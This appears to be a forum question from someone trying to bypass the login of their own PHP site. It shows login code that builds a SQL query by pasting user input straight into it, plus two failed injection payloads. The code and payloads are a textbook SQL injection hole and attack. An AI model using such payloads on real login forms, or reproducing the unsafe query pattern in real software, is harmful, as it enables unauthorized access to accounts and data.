I have the following code on my website and want to login by using SQL Injection. I tried some codes for it but couldnt have a result.
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password' LIMIT 1";
$sql = mysql_query($query);
if( mysql_num_rows($sql) == 1 )
{
$row = mysql_fetch_array($sql);
$_SESSION['id'] = $row['id'];
}
else
{
echo $query;
}
Here are the codes I tried. In the first one I tried from username:
I mark my injected part as comment to make it easier to understand.
Username entered: admin' or id=1 ; --
SELECT * FROM users WHERE username='admin' or id=1 ; -- ' AND password='0' LIMIT 1"
And also I tried to enter by pass. With this code: 0' or '1'='1
SELECT * FROM users WHERE username='admin' AND password='0' or '1'='1' LIMIT 1"
What do I do wrong?